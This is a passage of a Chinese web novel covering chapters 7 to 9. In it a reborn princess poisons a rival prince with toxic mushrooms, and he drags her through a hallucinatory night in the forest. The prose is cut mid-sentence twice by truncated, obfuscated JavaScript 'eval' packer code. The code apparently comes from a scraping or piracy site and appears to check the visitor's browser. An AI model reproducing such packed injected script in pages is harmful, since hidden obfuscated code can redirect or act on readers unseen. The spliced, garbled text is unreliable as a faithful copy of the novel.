又是两年修生养息,这次他严防死守,北阙风调雨顺,他再次准备攻打大梁。就在这节骨眼上,他的父皇因常年服食丹药中了丹毒,呕血后便昏迷不醒。 王储之争开始,他不得不中止了攻打大梁的计划,开始争夺皇位。 他父皇一昏迷就是两年之久,期间也醒过来几次,握着他的手默默垂泪。 给父皇炼丹的道士居然又是大梁的细作,大梁的细作无孔不入,无处不在,如一条条盘踞在暗处的毒蛇,随时给他致命一击。 父皇驾崩后,他夺了帝位,成了北阙的帝王。 登基后的第二天他便中了毒,幸好底子强健,幼年时又服食百草,身体有了很强的抗药性,这才捡回一条命。 可这些事给他留下了太多的阴影,自此杯弓蛇影,多疑多思,看谁都像是大梁派来的细作。 于是他不封妃,不立后,唯恐因沉湎女色遭了那大梁女帝的暗算。 登基第一年,他再次准备攻打大梁,这一次他严防死守,入口的吃喝必先有人试毒,兢兢业业地整顿军队,擦拭铠甲长枪,准备报仇雪恨。 就在他踌躇满志时,并没有发现一种烟膏在北阙盛行已久。这东西极其受人追捧,吸食后飘飘欲仙,上至达官贵族,下至平民百姓,个个沉迷此道。 有人将这烟膏取名福寿,这名字寓意是极好的,可这东西却是相当歹毒,比那见血封喉的毒药还要可怕千万倍。 它摧残傲骨,毁人心性,瓦解雄心壮志,让人苟且于烟雾中的快乐,又让人成瘾,停止吸食便生不如死。 铁骨铮铮的将领吸食此物后傲骨不在,变成了一滩醉生梦死的烂泥;曾经战无不胜的将士变得骨瘦如柴,挺直的脊梁再也背不起沉重的铠甲,无力的手臂再拿不起征战的长枪。 千里之堤毁于蚁穴,以征战闻名的北阙竟然要被这东西蛀空了。 而大梁倒是赚的盆满钵满,在那女帝的治理下,大梁风调雨顺,国泰民安,虽没精才绝艳的武将,但也兵力大增,不可同日而语。 于是他不得不焚毁□□,重整军纪,整整三年后,北阙才恢复元气。 一来二去,十年的时光匆匆而过,直到大梁女帝病重,大梁陷入内乱,他才率兵攻入大梁皇城。 没了那一肚子阴谋诡计的女帝,他这一身勇武所向披靡,攻无不克战无不胜。 攻入皇城后,大梁女帝已经驾崩了,穿着一身白衣,容貌在梦里看不清楚,只记得她花白的头发。 他用枪尖挑起这个与他纠缠了十年的宿敌,把她钉在了城墙上。 她挂在他的青龙抢上,衣摆随风飘扬,远处看去,像一片薄薄的柳絮。 这梦实在太逼真,梦中的无助、愤恨、绝望、耻辱等重重情绪,哪怕在他醒来后也久久不散。 季少渊觉得,这是上天对他的警示。 他定要尽早会一会这个梦中的宿敌。 7. 第 7 章 这是一间书房,没什么书,只摆着桌子椅子,空荡的很。 窗外的一颗桃花树开得正好,季少渊站在窗边擦拭弓箭,一个和他年纪相仿的少年坐在椅子上吃话梅,一脸疑惑地看着季少渊。 “殿下为何要为难一个弱女子?” 季少渊放下弓,转头说道:“你觉得她是弱女子?” 孟玖说道:“那姑娘风一吹就倒,一看就知道是天生弱症活不长久。” 季少渊想起那些梦,说道:“幸好活不长,若非如此,还不知道生出多少祸端。” 孟玖一脸疑惑。 作为从小跟在季少渊身边的侍卫,他觉得殿下最近的心思实在捉摸不透。 好端端的,忽然从北阙跑到大梁,还来了这么一个鸟不拉屎的地方。虽说这里的景色还不错,可条件实在简陋,金尊玉贵的皇子住在这里实在是委屈了。 孟玖吃完纸袋里的最后一颗话梅,抖抖纸袋,“既然殿下不喜欢她,那属下就找个地方悄悄把她杀了,殿下何须亲自动手。” 季少渊说道:“重要的事情自然要亲力亲为。” 可惜没有杀成。 这大梁公主的身边还真是卧虎藏龙,伺候的嬷嬷和侍女都是武功一流的高手,箭筒里的箭都射光了,这位宿敌依旧安然无恙。 季少渊抬眼看向窗外。 这古寺里三进三出的院子在他看来也是简陋极了,院子里种的花草树木也是登不上大雅之堂。 谁能想到梦里面名震天下的大梁女帝现在只是一个不受宠的病弱公主,一个大梁皇宫里的边缘人物而已,甚至都不是大梁皇室的血脉,就这么一个丝毫不起眼的人居然登上了帝位,还成了他得毕生劲敌。 那些梦虽然逼真,但是缺失了不少细节,令季少渊难以窥见她完整的一生。 他只知反对的朝臣被她屠戮殆尽,护国公李护一家全都死于非命。 这女子手段残忍大胆,对待政敌丝毫不留情面,行事作风狂野又粗糙,可关键时刻,却总能力挽狂澜。 季少渊把弓箭放在一旁,看她如何接招。 * 阿佩和夏嬷嬷在床边守了一夜,颜舜华也没有太睡好。 颜舜华睡觉一向很浅,稍微有点风吹草动就能惊醒,若是用脑过度,那就更难以入睡了,要点上常用的安息香,才能勉强睡一两个时辰。 颜溪玉总说颜舜华这脆弱的身体撑不起她那聪明的脑袋瓜,上一世罗青羽也曾这样说过,说她把自己熬到油尽灯枯,野心汹汹如火,愣是把自己给烧没了。 可她一开始哪有那么多野心啊,不过是走一步看一步,步步都是赶鸭子上架,哪怕登上帝位,她也在感叹万般都是命半点不由人。 颜舜华抱着被子翻了个身。 今夜的月光真是好极了,屋子里亮的很,颜舜华怎么也睡不着,于是把手摸向枕头,从枕下拿出一本旧书。 是一本《水龙吟》。 乍一眼,还以为是哪个词牌曲,翻开来看才知道这是一本治水的书。 颜舜华对胭脂水粉不感兴趣,女红更是一塌糊涂,听颜溪玉说她五岁那年就能自己做小型水车,不过颜舜华自己记不太清楚了。 奇门遁甲与帝王心术都不是颜舜华最喜欢的东西,阴谋诡计颜舜华虽然擅长,但也只能是擅长而已,并非是她自己喜欢玩弄权术与人心。 她最喜欢的,还是这些治水方略。 她刚进皇宫时不说话,就喜欢拿着树枝玩院子里的水洼,有时候划出一道沟壑,水洼里的水就会顺着沟壑流淌过来,流到她想要的方向。 六岁时,颜溪玉给她弄了一个沙盘,沙盘两尺长一尺宽,里面装满沙子和泥土,她把银勺当铁锹,开始在沙盘里修渠挖道,还会建起堤坝阻挡决堤的“洪水”,常常把自己弄得全身都是泥巴。 在那些压抑的日子里,她曾幻想过自己是个健壮男子,体魄雄壮,孔武有力,先是潇洒地看遍名川大山江河湖海,然后参加科考。 以她的天分与姿容,最次也要当个探花打马游街,再然后进入工部,然后领旨治水,她将亲力亲为,与百姓一同挽起裤腿衣袖修渠治水。 她将驯服奔腾的水龙,驾驭着它,驱策着它,让它灌溉农田,滋养土地,孕育一方衣食无忧的肥沃米乡。 她的功绩将惠及百世,然后在史册上留下浓墨重彩的一笔,往后千千万万代,都将传颂她的功绩。 上一世也确实浓墨重彩,但她会出现在帝王本纪里,成为历史上第一位女皇帝。 颜舜华把书放在枕下,用被子蒙住眼睛,强迫自己入睡。 醒来时,天已经亮了。 夏嬷嬷推开窗子,叽叽喳喳的鸟鸣声传进来。 寺里的人陆陆续续地来到这个小院,换掉被箭矢射破的窗纸。 罗青羽拎着食盒走进来,看着坐在床头的颜舜华,说道:“吃饭吧。” 食盒里一碗香菇鸡丝粥和几样素淡的小菜,鸡不是现杀的,是从浮屠古寺的寒潭里取出来的,好在烹饪得当,虽然不鲜美,但去了腥,口感也算可以。 颜舜华吃了一碗,用温水漱了口,阿佩把她的头发挽起来,还是双螺髻。 阿佩说道:“公主,要不要梳个新花样?” 颜舜华摇头:“就这个吧。” 梳别的发式总觉得脑袋重,坠得慌。 阿佩看着匣子里的首饰叹气。 公主以前是很爱装点自己的,生病后总嫌弃自己一脸病容,就会坐在铜镜前妆点一下自己,所以她才带了一匣子首饰过来。 也不知道公主如今是怎么了,竟然对这些提不起半点兴趣了,真是令人忧心。 颜舜华理了理耳边的发丝,说道:“罗神医去哪了?” 阿佩说道:“奴婢刚才遇见她,她提着篮子要去采菌子呢。” 颜舜华唇角勾起一抹笑:“这林子可有不少有毒的菌子啊,快让夏嬷嬷去帮帮她,好好招待招待这寺里的客人。” 夏嬷嬷露出一个精明的笑,拎着个篮子出去了。 上午的时光匆匆而过,寺里的一些妇人拎着菌子说笑着回来。 午膳时吃的是菌子,里的菌子香得很,比肉还鲜美,连颜舜华都多吃了些。 炒熟的菌子是无上美味,至于没炒熟的,那可就是无上美味的毒药了。 浮屠古寺最好的那间院子里,孟玖正拿着银针试毒,桌上摆满了菜,尤其是正中间的那一盆炒菌子,香的让人流口水。 银针试毒还不够,不一会又走过来一个侍卫,拿着银筷子和银碗,把每样菜都试吃了一遍。 一盏茶的时间后,试菜的侍卫安然无恙,于是所有人都放下心,开始大快朵颐。 尊卑有别,美味难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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季少渊看着那对猫耳,又忍不住眨了眨眼。 他的左手撑着地,想站起来,手背却忽然传来一阵钻心的痛。 他垂眸,看着一只山竹似的雪白猫爪握着一支箭,箭尖已经扎穿了他的虎口,汩汩流淌着。 他仰头,少女颊边的猫胡须正得意地抖动着,黑漆漆的眼里闪着光。 得逞的光,恶劣的光,坏坏的,令人牙根痒痒的。 季少渊磨了磨后槽牙,咬牙切齿地拔出那支箭,甩了甩虎口流出的血,抓住毛绒绒的雪白的山竹爪子,一把将这只人头猫扛在了肩上。 他听见了一声气急败坏又不可置信的尖叫,他侧过脸,恰好看见那猫胡须来回抖着,漆黑猫耳上的两簇聪明毛在风里抖动着。 绿油油的小精灵又开始围着他跳舞,靴子上两排金眼睛还在眨来眨去,孟玖在地上翻滚着,两只手朝着空中胡乱抓着。 一帮身上闪着光的人乌泱泱地跑过来,身上不断发出彩虹般的颜色,张牙舞爪地在他身后追赶着。 季少渊活了十六年,从未见过此等可怖的怪物。 他深吸一口气,扛着肩上的人猫跑了两步,随后高高一跃,跳下面前的斜坡。 肩膀上扛着的人脸猫在高声尖叫。 季少渊双脚落地,站在了斜坡下的小溪前回头一看。 一堆发光的小人还在朝他这边追来,他再次深吸一口气,气沉丹田,靴子尖踩着溪边的石头高高一跃,跃入面前的深林里。 8. 第 8 章 林中高树参天,浓密的树冠笼罩在上空,只有少许阳光透过枝叶的缝隙洒落进来。 肩宽腿长的少年在林中飞奔,像只在密林中低飞的大鸟,时而脚尖蹬着树干如射出的箭矢一般斜飞出去,时而脚尖轻点草叶,在半人高的野草上飞速疾行。 颜舜华被他扛在肩上,颠的头晕眼花,少年的手臂灼热强健,铁箍似的紧紧箍着她的腰,勒的她喘不上气, 少年又是一蹬树干,忽地跃起六尺高,眼看着脚下的景物飞速缩小,颜舜华再也抑制不住喉中的尖叫,双手死死地揪住少年胸前的衣服。 一开始还有人追来,颜舜华好歹能听见几道呼喊声。可这少年一身使不完的牛劲,也不知在哪练的这一身疾行本领,在密林中又飞又跳的,居然把所有人甩没了影。 颜舜华头晕眼花的同时,心里不免生出几分绝望,千算万算,就是没算到这世上会有吃了毒菌子还能满地乱跑的人。 那么多的毒菌子,就算是一头大象吃了也会口吐白沫倒地不起。 他应该满地乱爬才是啊!而不是扛着一个弱女子在阴森幽暗的山林中胡乱飞奔! 少年陀螺似的旋转起来,金色的靴子扣闪着光,脚尖狠狠蹬了一下古树粗壮的树干,又猛地飞出去很远。 颜舜华眼前阵阵发黑,无数金色的星星在她眼前闪烁着,她闭上眼,彻底陷入黑暗。 一个黑影从一颗滕树旁飞速掠过,树上的鸟儿四散惊飞。 整个森林都在发着奇怪的光,红的黄的绿的蓝的紫的,来来回回的在眼前闪烁着。 发着的光的奇怪小人正紧追在他身后,还有两个蓝色的小人跳在他的靴子上,张牙舞爪地咬着他的靴子尖。 季少渊继续狂奔,他也记不清自己跑了多远多久,胸腔和喉管里传来一阵阵的干痛,好像又无数刀片在上面划过。 季少渊停了下来,大口粗喘着,单膝跪在地上。 世界在旋转,闪耀着令人作呕的诡艳光芒,眼前迸射出各种奇幻的颜色,升腾着,旋转着,叫嚣着,季少渊垂下头,身躯摇晃了几下后忽然眼前一黑,高大的身躯栽倒在地上,....... 有风声刮过耳畔,有什么湿凉滑腻的东西在脸上蠕动。 季少渊睁开眼。 昏暗的光线下,他和一条色彩艳丽的黑红毒蛇对上了眼。 瞳孔骤然紧缩,身体的反应总是更快一步,他抬手掐住毒蛇的七寸狠狠一拧,骨骼碎裂的声音响起,那蛇头被拧了一圈,软哒哒地垂下来。 把死透的毒蛇扔到一旁,季少渊终于松了口气。 天已经完全黑了,冷白的月光从枝叶间洒下来,这种深山老林,天一黑是极可怕的。 季少渊抬眼朝头上望去,只见头顶那些交错的枝条似是无尽扭曲的黑影,错杂缠绕着,几点萤火虫绕着高大的滕树飞来飞去,地上的杂草在夜里蛰伏着,季少渊甚至能听见许多爬行动物在叶片里爬行的沙沙声。 饶是他一身勇武,此刻也起了一身白毛汗,他抬手,抹去头上的汗水。 身上黏糊糊的,汗水糊住了眼睛,一阵风吹来,带起一阵凉凉淡淡的香气,不是花香和草香,是女子身上的香气。 娇滴滴的女郎们总喜欢用香喷喷的膏脂抹脸,季少渊他甩了甩头,低下脑袋,看着蜷缩在他怀里的白色一团。 看着几乎被他揉在怀里的、被他扛了一路的人脸猫。 人脸猫安安静静的,身体软软的,脑袋拱到他怀里,紧紧贴着他胸膛,季少渊能清晰感受到她呼出的一阵阵热气。 他往后挪了挪,伸出手,十分粗鲁捏起她的脸,长满厚茧的食指和中指微微陷入那软软的腮肉里,把少女不大的一张脸捏得鼓起来。 季少渊又眨眨眼,人脸猫的胡须已经不见了,只有少女布满泪痕的雪白脸颊;茸茸的猫耳朵也不见了,只有两个尖尖的发髻。 季少渊细细地打量着这张脸。 雪团似的一张脸,几乎没有血色,像尊冰凉的雪白瓷胎,漆黑的睫毛湿漉漉的,一簇簇地黏在一起。 目光顺着她睫下的泪痕一路往下,定在那张没什么血色的嘴唇上。 看上去很柔软的嘴唇,形状像花瓣,只有唇珠透着一点淡淡的红,唇角微微向下,即使满脸是泪的晕过去,也给人一种很倔强的感觉,一看就是个不好惹的犟种。 季少渊捏着这少女软软的脸看了半天,又看了看她纤细的脖颈,那脖子那么细,他单手就可以掐断。 腰肢也细细的,脊背薄的像一片纸,一阵风就能吹走,身体也软的不像话,像没骨头似的,轻飘飘软绵绵的一团。 这实在出乎意料,在梦里折磨了他十年的宿敌竟然是这个样子。 不是想象中的英姿飒爽,不是想象中的锋芒毕露,也不是想象中的静水流深。 而是这么一个睚眦必报、满肚子坏水、手无缚鸡之力的病弱姑娘。 季少渊看着她的脸上的一道道泪痕,内心生出了许多疑问。 堂堂八尺男儿,他真的要为一个梦就夺了一个病弱少女的性命么? 这是何等荒诞之事。 不过区区一病弱女子,堂堂男儿又怎能 因她成为一只惊弓之鸟。 杀了便是。 季少渊看着手背上被箭矢刺破的伤口,捏着她脸颊的手缓缓往下,掐住了她细白的脖颈。 他正要施加力道,却看到这少女湿漉漉的眼睫动了动,须臾之间,那双黑漆漆的眼睛睁开了,朝着他看过来。 离得这么近,季少渊才发现这少女瞳仁很大,黑漆漆的瞳仁水汪汪的,一双眼黑白分明,天真无邪若稚子。 掐在脸上的手对于颜舜华来说实在是有些灼热滚烫了。 朦胧的视线渐渐清晰,幽幽月光下,一张近乎妖异的俊美脸孔就这样猝不及防地闯入颜舜华的视线中。 面前的少年蹙着眉,微微垂着眼,长长的睫毛看起来柔软动人,下睫毛那处的一颗红痣分外显现,光线越幽暗,就越觉得惑人。 两人大眼瞪小眼地看了一会,颜舜华眼角余光环顾一圈,发现四周无人,荒山野岭密林深处竟然只有她们这一对孤男寡女,心中不由得警铃大作。 她硬生生把要发作的坏脾气压了下去,平和而镇定地握住那只掐在她脸上的手,把这少年的手指一根一根地从脸上掰下去。 颜舜华的指腹摸到了少年手指上的茧子,简直像砂纸一样粗糙,磨的她皮肤微微痛痒。 少年任由她握着手,冷酷着一张俊脸,冷冰冰地审视着她。 颜舜华说道:“这是哪?” 尖叫过后,她的嗓音哑哑的,问完话又不断咳了几声。 话音刚落,眼前少年的嘴角勾起一个嘲讽的笑:“呵,还以为你无所不知呢。” 敌强我弱,不可逞一时意气。 颜舜华好声好气地说道:“你我素昧平生,我也不曾招惹过你,无仇无怨的,你为何要为难我?” 季少渊冷笑一声,看向虎口处的伤口。 少年的手掌十分修长优美,只是半个手掌都糊了一片干涸的血迹。 颜舜华一脸无辜:“你的手怎么了?” 季少渊又是冷笑:“你不知道?” 颜舜华睁大黑白分明的眼睛,柔声细气地说道:“我用了午膳后一直头晕,恍恍惚惚的,若是无意冒犯了公子,还请公子宽恕一二。” 她神色真挚,一脸天真无邪,若不是做了那些梦,对她早有防范,季少渊怕是真要被她糊弄过去了。 季少渊继续冷笑:“姑娘真是好算计,菌子的毒银针查验不出来,试毒的人也不会立刻中毒,倒叫我着了你的道。” 颜舜华无辜眨眼:“公子在说什么,我怎么一句也听不懂?” 季少渊依旧是继续冷笑,从地上站起身来,高高在上俯视着她,说道:“装傻倒是挺厉害的,既然这么神通广大,那姑娘就自己找路回去吧,想必以姑娘的聪慧,这不过是小菜一碟。” 他说完便转身,丝毫不拖泥带水地往前走去。 颜舜华傻眼。 那少年头也不回,转身就走。 树木参天,藤蔓交缠,夜里还起了薄雾,笼罩着这片人迹罕至的深山老林地,远处时不时传来几声狼嚎,还有一种无处不在的,令人头皮发麻的沙沙声和嗡嗡声。 这种林子到处都是蛇虫鼠蚁,更有危险的野兽在夜间出没,哪怕是老道的猎户误入此地都得十二分小心,和何况一个养在宫廷中的女子。 “喂,你等等!” 颜舜华的手拄着湿润的草地,摇摇晃晃地站起来,踉跄着朝他跑去。 这少年肩宽腿长,一步抵得上她两步,颜舜华小跑着,见追赶不上,干脆伸手往前一抓,牢牢扯住他的衣袖。 少年脚步顿了顿,转过头,垂下眼睛看着颜舜华。 少女仰着脸看他,脸庞因为惊恐变得更加苍白了,红着眼圈仰头看他。 季少渊看着虎口处的伤口,冷笑:“再缠着我,就杀了你。” 颜舜华深吸口气,余光扫过他靴子上的一排金扣,咬牙说道:“带我出去,我给你百两黄金。” 季少渊轻嗤一声:“谁稀罕?” 颜舜华说道:“千两。” 季少渊看着她苍白的脸,冷冷说道:“万金也不稀罕。” 颜舜华第一次遇见这种脾气又臭又硬的人,简直像块冷而硬的石头,让她无从着手。 她眼珠迅速在眼眶里转了一圈,借着幽暗的月光,她的余光扫过他修长手指上的厚茧,好言好语地说道:“你干嘛和我一个弱女子过不去呢,我是吃了有毒的菌子才弄伤你的,我不是有意的。” “你不是有意的?”少年挑起眉毛,又开始冷笑,“你觉得我会信?” 颜舜华立即换上一副泫然欲泣的表情:“什么叫有意的,是我让山中长出毒菌子么,是我把毒菌子喂到你嘴里么,是我让你深更半夜拿着弓箭置我于死地么?” 季少渊看着她泫然欲泣的样子,淡淡说道:“我让你死,你就该死。” 颜舜华:“......” “你是草菅人命的混世魔王么?”她满腹疑问,万分不解,“我一个病体沉疴的弱女子,你为何与我过不去,一定要我死?” 季少渊想起那些梦,想起梦里被她欺压的那十年,胸口顿时一阵憋闷,总觉得梦中的一桩桩一件件是亲身经历过的。 “就凭我手上的伤口,足够你死一万次了。” 虎口猩红一片,传来阵阵钻心的疼。 颜舜华瞥了一眼,睁着水汪汪的无辜眼眸,细声细气地说道:“男子汉大丈夫,受点小伤又如何,我看你也不是那种骄矜的人啊。” 她说的每一个字都透着一股理直气壮,显然是那种全世界都要围着她转的人。 说着说着,她又挤出两点泪:“我娘还在家等我呢,她身体不好,性子又软,被人欺负了也只会忍气吞声,除了我,这世上再没有为她真心着想的人了。” 季少渊性情虽冷酷,却从未对老弱妇孺下过杀手,想了又想,难得发了点善心,决定将眼前这位梦中宿敌扔在这里自生自灭。 颜舜华看他没有半分动容的脸,眼珠一转,干脆开始诓骗他:“你知道这毒菌子有多毒么,这原本是给发情的牲畜吃的,别看你现在没什么事,过一段时间就会胡须脱落,肌肤也会变得越来越细腻,如果不及时服下解药,以后就失了男子的雄风,变得和太监一样不能人道了!” 不能人道?! 季少渊深吸一口气,抬手掐住她的脖子。 颜舜华扒着他的手,一边咳一边说:“我知道怎么解毒,我会配制解毒的药丸!” “你最好真的会。”他冷冷地从牙缝里挤出这几个字,正要松开掐她脖子的手,这少女脸色一白,突然尖叫起来,接着一把抱住他的腰,一边跺脚大喊起来:“啊!虫子!” 山里之中草木茂盛,杂草没过脚踝,季少渊折了一根树枝拨开前面的草丛,才发现旁边有一处小水洼,里面趴着密密麻麻的水蛭,看得人头皮一麻。 这种潮湿的林子,水蛭最常见,他的虎口又被这少年拿着箭矢扎穿,这些虫子一闻到血腥气就迫不及待地爬过来了,季少渊抬起脚看了一眼,发现靴子上已经爬了六七条饱满肥胖的水蛭。 这少女穿着白衣,鞋子的颜色也浅,因此爬上她鞋子和衣摆上的暗红色水蛭更显眼些。 此刻她一边搂紧他的腰,一边把她那颗脑袋拼命往他怀里钻,一边拼命跺着脚,还不断发出尖叫。 一阵淡淡的女儿想起被风送入他的鼻腔,季少渊低头,看见了两个尖尖的发髻。 正要伸手把她推开,她尖叫声忽然止住,随即化作一阵绝望的呜咽,趴在他怀里痛哭起来。 居然被虫子吓哭了? 季少渊脸色有些微妙。 不过是几条水蛭而已,就算钻进肉里吸了血,顶多也是疼一些,用拷过的热刀子烫一下就钻出来了。 他正要嘲讽几句,就听这位梦中宿敌呜咽着说道:“我不过是见你长得好看,随口夸赞了几句,言语稍稍轻浮了些,为何你要这样记恨我。” 季少渊:“......” 若不是那梦太逼真,又夜夜出现在他脑中,他也不至于千里迢迢地跑到这里来为难一个弱女子。 这事说来荒诞,说出去也无人会信。 他凭着天生的敏锐直觉,觉得此事不能假于他人之手,必须得亲自来这一趟,这才跋山涉水为她而来。 不杀她,将这样的祸害留下来迟早会成为他的心腹大患。 杀了她,又觉得有如此才能的人死了实在太可惜,况且若那蘑菇真会令人不能人道....... 这是矛盾的心情堪称前所未有,季少渊挥起树枝,把她裙摆和鞋面上的水蛭拨飞,冷着一张脸说道:“行了,几条水蛭而已。” 颜舜华低头一看,鞋面和裙摆上果然没有水蛭了,但身体还是一阵觳觫,止不住地发着抖。 她全身不受控制地发冷发痒,好像骨头缝里都爬满了虫子似的,哆嗦着手撩起裙子,来回检查着裤子。 她抱着裙摆,露出里面穿着的浅丁香色的裤子。 季少渊猛地把头转过去。 过了一会,耳边那阵窸窣声停下来,他才慢慢把头转回来。 月光下,她泪眼朦胧,手里捏着裙摆,一脸心如死灰的摸样。 季少渊看着泪痕斑斑的小脸,忍不住嘲讽她:“此处就你我二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裙摆已经脏污不堪了,沾着泥浆和草屑,这一坐下来就卸了力,颜舜华倚着石头,石头又太凉,她只好挪了挪,干脆软着身子趴在了季少渊的肩膀上。 身前强健的少年像个火炉,衣衫温暖干燥,不像颜舜华走几步的路就出了一身冷汗,被夜里的山风一吹后,整个身子都又湿又冷的。 季少渊冷笑:“轻浮。” 他拿手推颜舜华的头,结果摸到了一手冰凉的细汗,少女汗湿的发丝蹭着他的手掌,弱声弱气却理直气壮地说道:“分明是你长得招蜂引蝶,堂堂男子汉,长得这么好看不就是用来勾引女人的么,又怎么能是我的错。” 季少渊收回手,又冷笑:“强词夺理。” 他正要起身走开,颜舜华紧紧抱住他的腰,红着眼睛看他:“我一个弱女子,实在受不住这阴冷的山风。” 说着,她抓住他的手往她的胸口上一放,泫然欲泣地央求他:“你看,我心口都是凉的,像我这样的身子,来一场风寒就能驾鹤西去了,我娘亲还在等我回家呢,我若回不去,我娘也活不成,她长得美,惹人妒,总有人想害她。” 她的声音逐渐微弱,心口那里确实是又湿又冷,掌心贴上去,还能感受到一股奇异的柔软。 季少渊的头皮麻了一下,立刻皱紧眉头把手挣脱开,低声道:“你知不知道什么是矜持,什么是自重?” 颜舜华泪汪汪地朝着他摇头:“那你知不知道什么叫做救人一命胜造七级浮屠?” 季少渊看着她的泪眼,讥讽说道:“浪荡,轻浮。” 他又抬手推她,颜舜华又抓住他的手,无奈道:“别折腾了,你吃了毒菌子,又扛着我在林中狂奔这么久,虽然你面上不显,其实早已经耗尽了力气,何必与我这样的小小女子争一时之气呢。” “我们孤男寡女身陷险境,合该报团取暖相扶相助,再说了,只不过是让我抱一下而已,又不会少块肉。” 她又抓住了少年的手腕,将他的手臂搭在她的肩膀上,半阖着眼睛往他怀里钻了钻,自己找了个舒服的位置闭上眼睡了。 季少渊的后背倚着石头,怀里被迫抱着梦里的宿敌,在篝火前臭着一张脸。 如她所说的那般,他此刻确实也力空劲泄,身上没什么力气了。 而且脑袋依旧眩晕着,估计是毒素还没有散发干净,季少渊闭上眼,倚着身后的石头闭目休憩。 颜舜华闭着眼,勾了勾唇角。 世上的男人大多都是心口不一的,方才还喊打喊杀,这会趴在他肩膀上也只不过被嘲讽几句。 颜舜华知道自己对付男人很有一套,这种天赋可能来自她的母亲颜溪玉,也有可能是来自她那个素未谋面的父亲。 能生出她这样聪慧非凡的后代,想必她的父亲也不是寻常之辈。 但她的那位父亲估计和她一样,也是个邪佞之人,否则颜溪玉不会绝口不提。 估计颜溪玉和他之间的过往是一段十分不光彩的往事。 还是得养好身体尽早回宫。 再过一年,她就要去北狄和亲,若北狄太子是可造之材,那她就会成为北狄未来的皇后,若北狄太子不受她掌控,她再利用梁玄脱身。 与梁玄虚与委蛇也不是不可,若梁玄能够给她想要的,前尘种种皆不重要。 只是重活一世,总会出现许多意外因素,上一世她在浮屠古寺养病时就从未遇见这个不可理喻的少年,所以还需得抢占先机。 景帝是个不可控的风险,最好将风险提前扼杀,让景帝尽早驾崩才是上策。 景帝驾崩,颜溪玉无人可护,梁玄的生母李皇后一向厌恶她们母女,失势的滋味可不好受。 梁玄虽然喜欢她,可梁玄魄力不足,虽非庸常之辈,却也不是什么雄才大略的君主。他更善于权衡利弊,护国公李护手握兵权又对大梁皇室忠心耿耿,他女儿李思弦又与梁玄有情,能与之联姻自然是上佳之选。 若是把前世的路再走一遍,尽快造反称帝也是个可行的路子,可她寿数不长,若是如前世那般英年早逝,北阙的铁骑依旧会踏平大梁。 若是能提前杀了北阙那位未来的帝王就好了,可是这谈何容易啊,她派出的细作和刺客悉数失败,直到她咽气,这位宿敌依旧活蹦乱跳,还把她的尸身钉在城墙上。 阿佩和夏嬷不能再为她而死了,还有她上一世的禁卫军统领许鹤鸣,她要护好他们,让他们长命百岁,平平安安。 颜舜华实在累极了,眼皮像灌了铅,她闭上眼,脑袋往下一垂,就这么突然地趴在季少渊身上身上睡着了。 睡梦中,耳旁传来一声冷哼,隐隐约约,似有若无。 天微微亮时,远处几声狗叫,紧接着是一阵阵的呼喊声。 “小姐,你在哪?” “少爷,少爷!” 颜舜华睁开眼,看着一群人拔开挡路的树枝走过来。 走在最前面的是两个穿着黑衣短打的青年,左边的青年脸色冷漠,右边的青年眼神更轻快明亮一些,右手牵着一条皮毛油亮的黑狗。 这两个青年容貌俊逸,容颜虽有八分像,气质却各有不同,脸色冷漠的那个立如芝兰玉树,左边活泼一些的笑如朗月入怀。 正是许家两兄弟,许鹤鸣和许鹤停。 9. 第 9 章 再次见到许鹤鸣,颜舜华有种恍如隔世的感觉。 许鹤鸣比颜舜华大两岁,今天十八,是个灿烂活泼的少年郎,继承家业光耀门楣的重担全都交给可靠的大哥,他自己吃喝玩乐就好了,所以他一直都很开心很快乐。 十八岁和二十八岁的男人真不一样,脸颊饱满,目光明亮,像一颗朝气蓬勃的小树,比总是死人脸的许鹤停好多了。 上一世许鹤停带兵打仗,是因为许鹤停厌恶她,不想与她成婚,却又没办法违背景帝的旨意,于是他骑着马,带着几个亲兵就远赴沙场了。 许鹤停或许有着武将的天分,如果给他时间成长,也许真是一位可造之材,可是他第一次出战便遇见了北阙渊帝。 北阙渊帝有“武神”之称,这个男人的光芒实在太耀眼,不管是皓月还是萤火,太阳一旦出现,星星和月亮便都要消失了。 北阙渊帝就是一轮冰冷的太阳,他的出现让大梁武将永无出头之日,也让颜舜华含恨而终。 纵观古史,每隔百来年,都会有这么一个雄才大略的帝王横空出世,似乎一出生便背负着某种命运而来。 他注定要光耀古今,而其他人都是他的陪衬。 在他的光芒下,所有人都没有喘息的时间。 这样的一个人,许鹤停又凭什么赢过他呢,他离开那日,颜舜华就能预感到他的死局。 不过说来也奇怪,颜舜华不不知道许鹤停对她的厌恶从何而来,但她也知道,一个人讨厌另一个人不需要太多的理由,而她也没有必要讨好每一个,让所有人都喜欢她。 掌握权力的景帝和梁玄,那才是她需要讨好的人。 颜舜华一向主次分明。 她微笑着看向许鹤鸣,一把推开了季少渊搂住她肩膀的手。 “鹤鸣,你怎么来了?” 一旁的季少渊睁开眼,面无表情地瞥她一眼。 放荡,轻浮。 见到个略有姿色的男人便巴巴地靠过去。 许鹤鸣松了口气,笑道:“舜华,你没事就好,我可担心坏了!” 颜舜华的衣衫脏污凌乱,脸颊也脏兮兮的,黑一道白一道,头发上还沾着许许多多的枯枝草业。 夏嬷嬷拿出披风将颜舜华裹住,转头看向季少渊,厉声说道:“你为何将我家小姐掳走?” 季少渊撩起眼皮,冷笑起来:“这还要问问你家小姐,寺里为何会出现有毒的菌子。” 站在少年身后的护卫齐刷刷地抽出刀,一个个表情阴沉,目光冷厉地颜舜华一行人。 许鹤鸣抽出腰间的佩剑,面色一冷,将颜舜华护在身后。 正在剑拔弩张之时,颜舜华眼前一黑,昏死过去。 这下谁也顾不得别的了,喂药的喂药,喂水的喂水,掐人中的掐人中,忙了一通,颜舜华还是不醒,许鹤鸣赶紧走上前,对阿佩和夏嬷嬷说道:“我来背舜华回去。” 有猎狗引路,一行人走了一天一夜,凌晨才回到浮屠古寺。 